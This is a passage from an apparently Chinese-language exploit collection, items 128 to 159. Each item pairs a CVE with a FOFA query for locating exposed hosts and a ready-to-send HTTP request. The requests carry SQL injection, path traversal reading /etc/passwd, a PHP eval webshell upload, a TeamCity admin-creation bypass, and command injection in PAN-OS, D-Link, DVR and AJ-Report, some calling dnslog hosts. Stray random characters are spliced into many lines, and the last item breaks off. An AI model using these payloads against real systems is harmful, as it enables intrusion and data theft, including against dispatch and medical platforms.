% J! s& Z' \- E8 P5 `3 k7 ]<?xml version="1.0" encoding="UTF-8"?>
9 x; N4 [# b; n" s<!DOCTYPE test [
+ C& M/ c, S% h3 J1 L<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
* n  Z- `- P+ R( [8 X) j# b9 F. F]
>
3 l* x- q$ @" U. [<test>&t;</test>
% F& [) G4 C. ]  a3 O/ `$ M; I------WebKitFormBoundaryJGgV5l5ta05yAIe0--



128. Adobe ColdFusion 反序列化
8 Z' l" F* M1 N& R0 ^CVE-2023-38203
; X0 A. g# T" A6 U; b' AAdobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
FOFA：app="Adobe-ColdFusion"
PAYLOAD
) k- `6 }' X4 O, [8 Y+ L
) f. U9 x/ [/ `1 E- {/ y( t$ Y129. Adobe ColdFusion 任意文件读取
' y) D6 F: E3 GCVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
( k% N" F9 T$ e) x, w第一步，获取uuid
* r- Z7 p& }0 R$ h5 |GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
& {& S4 L  S- FAccept-Encoding: gzip, deflate
6 ~* s" d( k- @Connection: close


第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
& O7 ]- g" A4 P! z& nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
0 @8 I0 m5 x7 [) [- c& ?, YAccept: */*
+ ^" e2 Z$ I+ W; T0 `Accept-Encoding: gzip, deflate
Connection: close
uuid: 85f60018-a654-4410-a783-f81cbd5000b9
/ x1 Y5 b, U* V6 d. b2 d1 e% K$ n( D) V8 X
4 k# f& R+ j. l
: I: |$ v/ J" u130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
9 x% h" r: a6 f$ o1 O# lPOST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
( i" G4 E* q/ O4 q- b) @# pX-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
; x4 x! A  n2 [, s0 P$ c- ]Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
1 O  J4 H% a/ [2 T9 K8 s% [' rAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
) g9 V- {9 r" s! tCookie: user_name=1; user_id=3
Connection: close
( n0 s* }( i4 G1 f' u8 Z
------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
  V* {& Y( j& h8 k; n: \Content-Type: image/png

( D$ n: C  G3 V3 A<?php phpinfo();@eval($_POST['sec']);?>
% D; z  D" }5 |1 j) u------WebKitFormBoundary3OCVBiwBVsNuB2kR--


131. Mini-Tmall <=20231017 SQL注入
: ^( d6 n# q* B9 y5 ]3 sFOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
# G' ]4 x* ]$ ]http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)

# {: F9 D. r& m& i132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
FOFA：body="Log in to TeamCity"
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
* g2 u9 S3 I: U. n, z  ZHost: 192.168.40.130:8111
# x3 ]. z; @! q. O3 V% Z5 r3 A+ JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json
4 N. v& ?9 \7 k/ d! H. u0 u. fAccept-Encoding: gzip, deflate

! m6 U) E/ V) G! d% l; e1 g{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
- v. x  k- W0 L* w5 Q! {

CVE-2024-27199
* z: p3 {) `4 y  ~+ k+ c/res/../admin/diagnostic.jsp
0 t  n& H$ t) [$ S/.well-known/acme-challenge/../../admin/diagnostic.jsp
' T) w2 m9 t4 D/update/../admin/diagnostic.jsp
  w7 q! _, W: F9 K; ^

% e; v) V$ _* hCVE-2024-27198-RCE.py

133. H5 云商城 file.php 文件上传
FOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx
8 u+ P* G2 d3 H
------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream

<?php system("cat /etc/passwd");unlink(__FILE__);?>
4 ?4 q6 s* q: c( e% J  _7 P( r' X------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
3 _$ @# {' W2 a
) }$ [  U1 Y9 }4 y

$ D% t- Z. E' f! ^* A134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
+ J  @' c% S" X: O6 p. O/ F9 z% yPOST /protocol/index.php HTTP/1.1
& Z: ?( w' e2 W4 t7 WHost: x.x.x.x
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
& b; D  s0 E, f" CUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
+ q- j/ v, Q/ hAccept: */*
3 D, `) I& j7 x# }( ^Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
* U) F5 H8 L0 }% pSec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
/ [9 K4 I% L1 G) TConnection: close
8 [2 j% R5 S3 k) JContent-Type: application/x-www-form-urlencoded
# e  f5 Y3 T1 ?Content-Length: 263
- g/ D7 @- s; P6 I9 k- E
jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}


135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
3 K- U6 }: G% V; A0 nNetentsec NS-ASG Application Security Gateway 6.3版本
! }; ~3 l5 l/ `; T1 _. HFOFA：app="网康科技-NS-ASG安全网关"
( y/ ~% u6 p8 B5 LGET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
9 f) ~9 @$ L! Y/ RHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
# K- I$ I( N; {* K. N2 g9 x9 {, Z$ s/ vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
+ t' p: p7 b! ~8 MAccept-Language: zh-CN,zh;q=0.9
# l( s1 a( F( y5 fConnection: close


136. NextChat cors SSRF
3 l8 T: }# w& T/ x' [CVE-2023-49785
FOFA：title="NextChat"
5 n5 L' [( ~2 M' ]+ V' kGET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
2 a' d. S- ^8 g" b! YHost: x.x.x.x:10000
$ \6 J5 ^2 ^. K) S+ FUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
6 b& @4 K) M# fAccept: */*
Accept-Language: en
# M: S1 n2 V7 P% V6 m# W# ~  B+ IAccept-Encoding: gzip
; }$ M: d  b; z5 t- j" U: P

137. 福建科立迅通信指挥调度平台down_file.php sql注入
) `5 q6 X5 `% u# I. E$ aCVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
6 I9 c9 w2 q, z8 \3 f9 f, qAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
) m" @# n3 t, FAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
  T+ r* J! K# L: VCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1
: p4 i7 V+ K# o9 H: `, \5 r& N" L4 a

, C. T2 B  Q5 @: p" J2 v" ^138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
CVE-2024-2621
) S4 j4 m; @+ r* k  V4 UFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
; k. U# A* y; g4 |GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
9 L8 B2 A1 e& h: ~8 yHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
5 ~# w- Y) `. \+ o/ _) GAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ I; R3 R, r2 B, N6 H, H/ yAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
- S# |: [8 m; ]  C# zConnection: close
Upgrade-Insecure-Requests: 1
+ p) r) Q$ s8 r7 f9 d8 w5 [

+ {( Z* d) c1 h2 ~0 q- c2 d8 n4 O139. 福建科立讯通信指挥调度平台editemedia.php sql注入
5 K3 u0 O4 \! hCVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
" k$ [6 l% s' ^4 F. H! RGET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
. c* J% c' \0 U* ?* aHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
, w7 |) ?0 ^& t! H+ m5 q8 cAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& B! y" }4 b2 K9 g+ z5 nAccept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
: h8 b7 p* @9 C/ IUpgrade-Insecure-Requests: 1

9 g$ ?( r1 W; Y# ~1 y
7 M2 H4 |/ @& ]' Y3 Q140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
/ T0 S+ L$ _" I$ z2 bFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
) G1 |% b: E6 w) `1 rHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
3 M, _0 y% H/ \* U( kAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
) F. w  l0 K2 `* U* NAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& M# v: x2 M" p6 ~3 mAccept-Encoding: gzip, deflate, br
8 X' o; [1 ^$ q4 AConnection: close
" T' C  \; {# b: L- U9 iCookie: authcode=h8g9
Upgrade-Insecure-Requests: 1

! @# k6 S% p1 c9 a
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
" V/ A$ A) a- U& u  I6 s. r6 R2 JPOST /app/ext/ajax_users.php HTTP/1.1
! f- y- V, C0 h6 ]) bHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
; ?' A1 }1 Z& Y. D+ r8 O8 h3 \7 UContent-Type: application/x-www-form-urlencoded
, S( K  q0 P' w7 h8 C6 V% i

6 U: s4 u- o0 A7 [: k# {* u* O2 ddep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -

, h% N' O; b. v1 X* u# M. T# v
  M6 C" W, x5 @142. CMSV6车辆监控平台系统中存在弱密码
: y) D+ J" B7 ]( x3 B* U( ACVE-2024-29666
FOFA：body="/808gps/"
: _/ T1 h5 w# l$ Gadmin/admin
" w& F7 ~% C1 h& l8 }5 W) Y143. Netis WF2780 v2.1.40144 远程命令执行
. V, Z2 K! e4 N1 A3 }CVE-2024-25850
) |# K! F& I) P- {$ ZFOFA：title='AP setup' && header='netis'
, I) O# A' U  V0 `: Z' PPAYLOAD
' `' B- F. \; B% s* i4 l# S
: U7 f, D3 X9 ?! F% c144. D-Link nas_sharing.cgi 命令注入
FOFA：app="D_Link-DNS-ShareCenter"
" e$ h9 C# r. N0 [* msystem参数用于传要执行的命令
4 _6 e+ Z) ^9 i9 ~* |7 p9 ^8 kGET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
! L6 I' h# k+ a+ H- QHost: x.x.x.x
4 d/ y9 U; ~  ~User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
' ~7 @: M0 |1 o, T! [( OAccept: */*
. r5 d) X' L$ Z# s1 t4 oAccept-Language: en
Accept-Encoding: gzip
" o/ r; o% H* E$ g9 B/ S4 o; e7 ?

145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
FOFA：icon_hash="-631559155"
0 n7 {/ ?( I/ K. T. Q; o9 AGET /global-protect/login.esp HTTP/1.1
! Y+ g8 S6 i" l+ j! r1 s0 A; IHost: 192.168.30.112:1005
% ?/ x/ g4 W7 _7 y2 F$ m7 M2 pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
3 _' v' M! b9 l6 M5 r1 eCookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
Accept-Encoding: gzip
" a% G$ M7 O- R' m5 Z$ }
) Q: P1 W, B7 t
1 z4 c2 y0 Y9 d. Y146. MajorDoMo thumb.php 未授权远程代码执行
! O7 {2 W7 j8 d- h8 H! t0 gCNVD-2024-02175
FOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
* v! h7 X, ]% E) z( t4 U+ t9 F* `/ dHost: x.x.x.x
& I: k( M2 I7 T  ?- UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
0 |, {6 J. f  X  X5 h7 W! K4 CAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
0 a4 G; j; b& e8 K& DConnection: close


+ F' C" _& k' q( q/ }$ A147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
3 [  Y6 b% _  n8 ~CVE-2024-32399
FOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
Host: 127.0.0.1:81
Cache-Control: max-age=0
Connection: close

" H6 X( g% p0 \$ i4 Z
148. CrushFTP 认证绕过模板注入
6 F2 t: W# w# F6 xCVE-2024-4040
FOFA：body="CrushFTP"
PAYLOAD
% s  |; a4 ?1 G$ n
, o3 A  T; U1 O149. AJ-Report开源数据大屏存在远程命令执行
FOFA：title="AJ-Report"

POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
5 T) b7 ]) O, ]+ d# x3 S( oHost: x.x.x.x
( ~$ |8 B2 h% @9 h& |$ r0 s6 YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
  N3 t8 K+ U" H( X8 uAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
5 ]9 r! @6 L4 S: W+ M4 G" {5 S$ c9 _Accept-Encoding: gzip, deflate, br
% h9 n! t7 I$ L4 _& a' WAccept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
0 \/ F. o1 E3 [: Q" H4 h0 u
150. AJ-Report 1.4.0 认证绕过与远程代码执行
$ b' [9 w8 {6 G* r. S# ZFOFA：title="AJ-Report"
1 u8 c9 y# G3 q2 yPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
% k, t6 C5 a. p/ [5 SHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
0 ^0 ~$ u) q. u. m2 i3 b$ YAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
" @$ K- d2 e- l* |* ZContent-Type: application/json;charset=UTF-8
. _4 ]" M$ H3 L/ B6 w' }' @8 gConnection: close
; y6 G2 t! l) X5 ~- eContent-Length: 339
  D' ^6 V! J7 Q% z& k
) m1 M% b1 {6 j5 j) k/ j6 o{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}


7 ]6 R, B3 |  O# }151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
Host: x.x.x.x
  K' |. ?( s. r. `+ h. E6 e1 K3 bUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
/ f2 M; G' ]! B; T; u; @1 [: WConnection: close
Accept-Encoding: gzip


152. Progress Kemp LoadMaster 远程命令执行
4 J8 s% K3 Y4 x) vCVE-2024-1212
% w. E& J( q6 |9 K2 F" A0 D0 fLoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
" a/ ~8 ]8 N) u1 u1 w6 s: PLoadMaster <= 7.2.48.10 (LTS)
- }* W2 q  J( b/ z3 KFOFA：body="LoadMaster"
0 U8 q( C! R( K# M# |0 aJztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
GET /access/set?param=enableapi&value=1 HTTP/1.1
; C  B% k9 [; Y- s4 E; kHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
Connection: close
Accept: */*
Accept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
# B+ c: N2 r. {6 W* U6 ]# mAccept-Encoding: gzip
( V( B( H+ s2 o6 A
: M( g+ e+ E: H- j; n0 ~
153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
http://x.x.x.x/config

3 e' g/ X+ m) a  t
第二步，将/etc/passwd的内容写入到一个临时文件
$ ]* N/ a. `' ^1 o3 u3 {" w8 FPOST /component_server HTTP/1.1
( W; N& @. w( p( S$ zHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
Content-Length: 115
Content-Type: application/json
Accept-Encoding: gzip

{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}


第三步访问
5 v& Y5 q( Z( H. I: O# F* x# E0 vhttp://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd

% \5 E; o9 _5 `* h( N% u9 }/ U
, _. |2 q2 ^# O2 E" `) i1 ~# V8 g154. 天维尔消防救援作战调度平台 SQL注入
  a7 k) A/ ?. _CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
* M4 _& G8 I! N8 m; Q/ E+ }& qPOST /twms-service-mfs/mfsNotice/page HTTP/1.1
. }  n* P% f% _. OHost: x.x.x.x
Content-Length: 106
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
6 k4 J6 h" ?( T  l) l: iOrigin: http://x.x.x.x
! F, u, E) s, }( cContent-Type: application/json
$ N* U9 p' k, N; x; l0 W# {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
& J. ]( _4 n+ Z; E# UAccept-Encoding: gzip, deflate
/ z9 D% g) k0 E* b9 Z, _3 u' e) tAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
9 r! s9 o0 a& BConnection: close

4 L! A" K2 D' z: G. g, |4 K/ b{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}
) p. W% r% A  B7 R: R
3 G: t; _1 z8 T
. {/ p5 [1 `3 u155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
1 s0 `4 [9 k( ]3 q$ s# H1 x# _FOFA：title=="上网导航 - LyLme Spage"
# p- V4 x4 V3 k. j: WPOST /include/file.php HTTP/1.1
" r; q7 M$ @# t) FHost: x.x.x.x
$ I7 d6 n/ b7 J7 h" xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
7 Q. J) a, \6 p/ N/ N! NContent-Length: 232
+ W4 D7 k/ K1 p8 ^( l0 \; vAccept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
( J( ?' F# s( nX-Requested-With: XMLHttpRequest
8 Z2 J6 s2 q. x  D5 B8 }
! o  y7 p8 X2 G. ]% y, o  K9 b-----------------------------qttl7vemrsold314zg0f
  `0 [7 T6 I# i* qContent-Disposition: form-data; name="file"; filename="test.php"
1 r! f. Q. J4 D6 |Content-Type: image/png
2 i- F5 A' Y- F: @8 a7 t
' n3 K3 f, N3 ^<?php phpinfo();unlink(__FILE__);?>
8 e5 @& x5 L7 O- J* J, u& v( ?  V-----------------------------qttl7vemrsold314zg0f--
  \( u: V: C& a8 P7 V) s/ \" j

访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php

& v: `0 t- u  |. u0 c3 H156. TBK DVR-4104/DVR-4216 操作系统命令注入
& X& |; m" m. ?9 @& w2 w* ACVE-2024-3721
FOFA："Location: /login.rsp"
·TBK DVR-4104
: G  x5 J. I. s·TBK DVR-4216
curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"


" J2 z/ D+ S% [POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
* _" s$ h! ?% U2 X- Y% N0 l, e6 aHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
- J: Z9 e- o7 j2 L9 M! eConnection: close
$ z) n8 f; P  D2 T' ?Content-Length: 0
Cookie: uid=1
Accept-Encoding: gzip


157. 美特CRM upload.jsp 任意文件上传
, _4 J3 {5 v& B1 i' K& `CNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
) b' `, G' O6 f3 jPOST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
& G0 H" r7 n# q. F# u+ Y% H- Z: kHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Length: 709
0 d! z& U% D' h: ~1 O6 HAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
! j1 N4 a. O) t. ?Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Connection: close
9 M! N% J% ?9 B! ^/ fContent-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1

------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
Content-Type: application/octet-stream

nyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="key"

5 x) K$ ]9 Q  C6 vnull
% I0 V; X) t; R' }* _$ _5 m: q. ]2 j+ h* ^------WebKitFormBoundary1imovELzPsfzp5dN
+ _7 a" A6 F; Q* v+ e/ }- K- \Content-Disposition: form-data; name="form"
7 z8 O# _0 y+ T$ r, O0 L
null
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="field"

, j: k6 {2 d; }$ y0 }3 K! M: q. T6 Qnull
7 Y, S" ?" h5 S# |7 q2 M# L6 x------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filetitile"
- Q- [0 @6 P  L* Y! X; r
null
8 q/ E5 B+ |* z1 R5 W! A------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"
- b: T) `1 A7 m8 w
null
1 e: w7 ]0 R5 S- \------WebKitFormBoundary1imovELzPsfzp5dN--

' ^- ]6 z) h5 \: m/ w5 h  Q
6 l. r$ I$ |" bhttp://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp

158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
FOFA："Generator: Masa CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
. m  o! h. _: f
  s+ u: @1 R# n5 m4 Oobject=displayregion&contenthistid=x\'&previewid=1

; E8 G# n5 e. Z' u0 _5 U9 w6 u
1 i( k- J0 x6 x+ M$ x/ a7 x159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
